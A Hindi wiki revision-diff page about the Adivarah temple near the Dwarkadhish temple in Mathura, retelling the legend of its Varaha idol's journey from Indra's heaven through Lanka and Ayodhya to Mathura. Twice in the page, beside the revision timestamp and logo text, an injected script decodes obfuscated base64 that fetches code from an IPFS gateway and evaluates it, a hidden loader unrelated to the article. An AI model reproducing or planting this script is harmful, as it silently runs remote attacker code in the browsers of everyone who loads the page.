"आदिवराह मन्दिर" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
पंक्ति ६: पंक्ति ६:
 
   
 
   
 
सत्ययुग के प्रारम्भ में कपिल नामक एक ब्राह्मण ऋषि थे । वे भगवान् आदिवराह के उपासक थे । देवराज [[इन्द्र]] ने उस ब्राह्मण को प्रसन्न कर पूजा करने के लिए उक्तवराह–विग्रह को स्वर्ग में लाकर प्रतिष्ठित किया । पराक्रमी [[रावण]] ने [[इन्द्र]] को पराजित कर उस वराह विग्रह को स्वर्ग से लाकर लंका में स्थापित किया । भगवान् श्रीरामचन्द्र ने निर्विशेषवादी रावण का वध कर उक्त मूर्ति को [[अयोध्या]] के अपने राजमहल में स्थापित किया । महाराज [[शत्रुघ्न]] [[लवणासुर]] का वध करने के लिए प्रस्थान करते समय उक्त वराह मूर्ति को ज्येष्ठ भ्राता श्रीरामचन्द्रजी से माँगकर अपने साथ लाकर और लवणासुर वध  के पश्चात् मथुरापुरी में उक्त मूर्ति को प्रतिष्ठित किया । यहाँ वराहजी की श्रीमूर्ति दर्शनीय हैं । इसके अतिरिक्त भी बहुत से दर्शनीय स्थान हैं जिनका पुराण आदि में उल्लेख तो हैं, किन्तु अधिकांश स्थान आज लुप्त है । <br />
 
सत्ययुग के प्रारम्भ में कपिल नामक एक ब्राह्मण ऋषि थे । वे भगवान् आदिवराह के उपासक थे । देवराज [[इन्द्र]] ने उस ब्राह्मण को प्रसन्न कर पूजा करने के लिए उक्तवराह–विग्रह को स्वर्ग में लाकर प्रतिष्ठित किया । पराक्रमी [[रावण]] ने [[इन्द्र]] को पराजित कर उस वराह विग्रह को स्वर्ग से लाकर लंका में स्थापित किया । भगवान् श्रीरामचन्द्र ने निर्विशेषवादी रावण का वध कर उक्त मूर्ति को [[अयोध्या]] के अपने राजमहल में स्थापित किया । महाराज [[शत्रुघ्न]] [[लवणासुर]] का वध करने के लिए प्रस्थान करते समय उक्त वराह मूर्ति को ज्येष्ठ भ्राता श्रीरामचन्द्रजी से माँगकर अपने साथ लाकर और लवणासुर वध  के पश्चात् मथुरापुरी में उक्त मूर्ति को प्रतिष्ठित किया । यहाँ वराहजी की श्रीमूर्ति दर्शनीय हैं । इसके अतिरिक्त भी बहुत से दर्शनीय स्थान हैं जिनका पुराण आदि में उल्लेख तो हैं, किन्तु अधिकांश स्थान आज लुप्त है । <br />
{{mathura temple}}
+
{{mathura temple}}<br />
  
<br />[[category:मन्दिर]]
+
[[category:मन्दिर]]
 
[[श्रेणी:कोश]]
 
[[श्रेणी:कोश]]

०५:३२, ६ सितम्बर २००९ का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

आदिवराह मन्दिर / Adivarah Temple

वर्तमान द्वारिकाधीश मन्दिर के पीछे माणिक चौक में वराहजी के दो मन्दिर हें । एक में कृष्णवराह मूर्ति और दूसरे में श्वेतवाराह मूर्ति का दर्शन है । ब्राह्मकल्पके स्वायम्भुव मन्वन्तर में ब्रह्माजी के नासिका छिद्र में से कृष्णवराह का जन्म हुआ था । ये चतुष्पाद वराह मूर्ति थे । इन्होंने रसातल से पृथ्वीदेवी को अपने दाँतों पर रखकर उद्धार किया था चाक्षुस मन्वन्तर में समुद्र के जल से श्वेत वराह का आविर्भाव हुआ था । उनका मुखमण्डल वराह के समान और नीचे का अग्ङ मनुष्य का था । इन्हें नृवराह भी कहते हैं । इन्होंने हिरण्याक्ष का बध और पृथ्वी का उद्धार किया था ।

सत्ययुग के प्रारम्भ में कपिल नामक एक ब्राह्मण ऋषि थे । वे भगवान् आदिवराह के उपासक थे । देवराज इन्द्र ने उस ब्राह्मण को प्रसन्न कर पूजा करने के लिए उक्तवराह–विग्रह को स्वर्ग में लाकर प्रतिष्ठित किया । पराक्रमी रावण ने इन्द्र को पराजित कर उस वराह विग्रह को स्वर्ग से लाकर लंका में स्थापित किया । भगवान् श्रीरामचन्द्र ने निर्विशेषवादी रावण का वध कर उक्त मूर्ति को अयोध्या के अपने राजमहल में स्थापित किया । महाराज शत्रुघ्न लवणासुर का वध करने के लिए प्रस्थान करते समय उक्त वराह मूर्ति को ज्येष्ठ भ्राता श्रीरामचन्द्रजी से माँगकर अपने साथ लाकर और लवणासुर वध के पश्चात् मथुरापुरी में उक्त मूर्ति को प्रतिष्ठित किया । यहाँ वराहजी की श्रीमूर्ति दर्शनीय हैं । इसके अतिरिक्त भी बहुत से दर्शनीय स्थान हैं जिनका पुराण आदि में उल्लेख तो हैं, किन्तु अधिकांश स्थान आज लुप्त है ।
साँचा:Mathura temple